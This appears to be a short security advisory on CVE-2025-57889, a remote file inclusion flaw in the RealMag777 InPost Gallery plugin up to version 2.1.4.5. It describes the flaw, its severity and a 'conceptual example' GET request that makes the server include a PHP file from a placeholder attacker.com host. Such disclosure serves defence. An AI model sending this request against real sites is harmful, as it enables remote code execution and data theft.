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CVE-2025-57889: Remote File Inclusion Vulnerability in RealMag777 InPost Gallery

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Overview

CVE-2025-57889 is a severe security vulnerability in the RealMag777 InPost Gallery, specifically within its handling of PHP files. If exploited, this vulnerability could lead to potential system compromise or data leakage, posing a serious threat to users and enterprises utilizing this software. The implications of this vulnerability underline the importance of prompt patch application and robust cybersecurity measures.

Vulnerability Summary

CVE ID: CVE-2025-57889
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

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Product | Affected Versions

RealMag777 InPost Gallery | Up to 2.1.4.5

How the Exploit Works

The exploit takes advantage of the PHP program’s improper control of filenames for the include/require statement. This flaw allows an attacker to include malicious PHP files from remote servers, leading to a Remote File Inclusion (RFI) vulnerability. The attacker can run arbitrary code in the context of the web application, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request. This is not a real exploit code but is provided to demonstrate the nature of the vulnerability.

GET /index.php?page=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable_site.com

This request instructs the server to fetch and include ‘malicious_file.php’ from ‘attacker.com’ in the response for ‘index.php’. The malicious PHP file could contain code designed to compromise the server or exfiltrate sensitive data.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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